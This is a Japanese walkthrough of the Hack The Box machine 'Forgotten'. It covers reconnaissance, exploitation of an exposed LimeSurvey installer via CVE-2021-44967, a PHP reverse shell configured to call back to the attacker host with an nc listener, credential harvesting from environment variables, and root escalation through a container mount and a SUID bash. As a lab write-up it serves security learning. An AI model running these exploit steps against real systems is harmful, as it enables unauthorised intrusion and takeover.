本記事では、Hack The Boxのeasyレベルマシン
Forgottenを攻略した手順を解説します。
ポートスキャニング
$ rustscan -a forgotten.htb -- -sV -sC -oN report_forgotten
<SNIP>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 28:c7:f1:96:f9:53:64:11:f8:70:55:68:0b:e5:3c:22 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMIbLmW6I3vlf8QRrAaFLhH3Ao7CFIvqPPmQG0Z14i0SlPfX9IZobRkjLOB0ncKb5oQ/0SXLnU60rnUe+7Xe6BU=
| 256 02:43:d2:ba:4e:87:de:77:72:ce:5a:fa:86:5c:0d:f4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICGL/2c6HVh+6F9RbNsZpoYJ2jv4C8SGqtskv0GGuU2P
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.56
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.68 seconds
Raw packets sent: 6 (240B) | Rcvd: 8 (556B)
フィンガープリンティング
$ curl -I forgotten.htb
HTTP/1.1 403 Forbidden
Date: Wed, 29 Oct 2025 23:37:24 GMT
Server: Apache/2.4.56 (Debian)
Content-Type: text/html; charset=iso-8859-1
ディレクトリ列挙
$ gobuster dir -u http://forgotten.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -b 302,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://forgotten.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 302,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/survey (Status: 301) [Size: 315] [--> http://forgotten.htb/survey/]
<SNOP>
- ブラウザで
http://forgotten.htbにアクセスすると403が表示されます -
gobusterで検出されたhttp://forgotten.htb/surveyにアクセスすると
http://forgotten.htb/survey/index.php?r=installer/welcomeにリダイレクトされLimeSurveyというWebアプリのインストール画面にたどりつきます。
インストールの実行
画面に従ってインストールを完了させます。
4.設定のページでデータベースの設定をしますが
データベースの場所をlocalhostのまま進めると作成に失敗します。

攻撃マシンにmysqlサーバを作成しデータベースを作成します。
Dockerを使ってmysqlサーバを起動
$ docker run --rm --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=pass -d mysql
| コマンド/オプション | 説明 | 補足 |
|---|---|---|
docker run |
Dockerコンテナを起動 | |
--rm |
コンテナ停止時に自動削除 | 後片付けが自動で行われるので便利です |
--name mysql |
コンテナに「mysql」という名前を付ける | 名前を付けることで、後からコンテナを識別しやすくなります |
-p 3306:3306 |
ポートの接続設定 | 攻撃マシンの3306番ポート ⟷ コンテナの3306番ポートを繋げる (MySQLの標準ポートは3306) |
-e MYSQL_ROOT_PASSWORD=pass |
環境変数でパスワード設定 | MySQLの管理者(root)パスワードを「pass」に設定 LimeSurveyがDBに接続する際に使用 |
-d |
バックグラウンドで実行 | コンテナをバックグラウンドで起動 |
mysql |
使用するDockerイメージ | MySQL公式のイメージを指定 |
ブラウザの4.設定に戻り設定を入力します。
データベースの場所に攻撃マシンのIP、
データベースパスワードはdockerの環境変数で指定したパスワードを入力します。

さらに進めていき6.管理者設定で
管理者アカウントとパスワードを指定します。

これで管理コンソールにログインできます。
さらにコンソール内を調査してバージョンが
LimeSurvey Community Edition Version 6.3.7+231127である事がわかりました。
LimeSurveyの脆弱性の調査
LimeSurveyについて利用できる脆弱性の情報を調べていきます。
その中でCVE-2021-44967というものがありました。
下記の用に解説されています。
A Remote Code Execution (RCE) vulnerabilty exists in LimeSurvey 5.2.4 via the upload and install plugins function, which could let a remote malicious user upload an arbitrary PHP code file. NOTE: the Supplier's position is that plugins intentionally can contain arbitrary PHP code, and can only be installed by a superadmin, and therefore the security model is not violated by this finding.
任意のコマンドを含んだPHPコードを
pluginとしてアップロードして実行できるようなのでこれを利用しましょう。
また、この脆弱性を使った攻撃方法について下記のブログで詳しく解説していて参考にさせていただきました。
ユーザ権限昇格
exploitファイルの編集
ブログ内で触れているgithubから攻撃用のファイルをダウンロードします。
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
Limesurvey-RCEフォルダ内に入り、ファイルを2か所変更します。
config.xmlの変更
<compatibility>タグ内にversion6.0.0を追加します。
このPoCはもともとLimeSurveyのversion5を対象としていますが
今回はバージョン6系なのでXMLにこの記載がないと
pluginのインストール時にエラーになります。
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
php-rev.phpの変更
$ipと$portを攻撃マシンのものに変更します。
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.17.44'; // CHANGE THIS
$port = 4444; // CHANGE THIS
ファイルをZip化する
$ zip -r Y1LD1R1M.zip config.xml php-rev.php
リバースシェル実行
攻撃マシンで待ち受けておく
$ nc -lnvp 4444
-
ブラウザから管理コンソールにアクセス
-
作成したZIPファイルを選択してインストール
-
下記URLにアクセス
http://forgotten.htb/survey/upload/plugins/Y1LD1R1M/php-rev.php
リバースシェル成功しました!
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.17.44] from (UNKNOWN) [10.129.248.99] 53768
Linux efaa6f5097ed 6.8.0-1033-aws #35~22.04.1-Ubuntu SMP Wed Jul 23 17:51:00 UTC 2025 x86_64 GNU/Linux
14:43:02 up 15:12, 0 users, load average: 0.11, 0.12, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
limesvcユーザでログインしています。
groupsにsudoが含まれています。
$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
$ groups
limesvc sudo
環境変数でユーザ名とパスワードが判明します。
$ env
<SNIP>
LIMESURVEY_ADMIN=limesvc
<SNIP>
LIMESURVEY_PASS=5W5HN4K4GCXf9E
PWD=/
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_SHA256=216ab305737a5d392107112d618a755dc5df42058226f1670e9db90e77d777d9
APACHE_ENVVARS=/etc/apache2/envvars
入手した認証情報でsshします。
$ ssh limesvc@forgotten.htb
idコマンドの結果
同じユーザ名ですが今度はgroupsにsudoがありません。
limesvc@forgotten:~$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)
リバースシェルで接続したのは、Webアプリを稼働しているコンテナ内のlimesvcユーザ
ssh接続したのは、ホストマシンのlimesvcだと考えられます。
root権限昇格
コンテナの調査
コンテナ内のlimesvcユーザはsudoグループに所属しており
すべてのコマンドをroot権限で実行できることがわかります。
$ sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
$ sudo -lS
[sudo] password for limesvc: 5W5HN4K4GCXf9E
Matching Defaults entries for limesvc on efaa6f5097ed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
suコマンドでrootユーザに昇格できました。
$ sudo -S su
[sudo] password for limesvc: 5W5HN4K4GCXf9E
id
uid=0(root) gid=0(root) groups=0(root)
また、mountコマンドの結果より
ホスト側のルートファイルシステムのどこかが
コンテナの/var/www/html/surveyにマウントされています。
$ mount
<SNIP>
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /var/www/html/survey type ext4 (rw,relatime,discard,errors=remount-ro)
<SNIP>
ホストマシン側のディレクトリの確認
ホストマシンのどのディレクトリが
マウントされているか確認してみます。
- コンテナ内rootユーザで
/var/www/html/surveyにファイル作成
mktemp -p .
./tmp.R5IL7J2a63
ホスト側の/opt/limesurvey/に存在している事を確認
limesvc@forgotten:~$ find / -name tmp.R5IL7J2a63 -type f 2>/dev/null
/opt/limesurvey/tmp.R5IL7J2a63
root権限も維持されています。
limesvc@forgotten:~$ ls -al /opt/limesurvey/tmp.R5IL7J2a63
-rw------- 1 root root 0 Nov 1 06:59 /opt/limesurvey/tmp.R5IL7J2a63
権限昇格
コンテナ内でSUID付きのbashを作成して
ホストマシンで実行すればrootシェルをとれます。
# コンテナ内で実行
cp /bin/bash ./sbash
chmod +s sbash
ls -al sbash
-rwsr-sr-x 1 root root 1234376 Nov 1 07:03 sbash
# ホストマシンで実行
limesvc@forgotten:~$ cd /opt/limesurvey/
limesvc@forgotten:/opt/limesurvey$ ls -al sbash
-rwsr-sr-x 1 root root 1234376 Nov 1 07:03 sbash
limesvc@forgotten:/opt/limesurvey$ ./sbash -p
sbash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)
無事rootに昇格することができました!

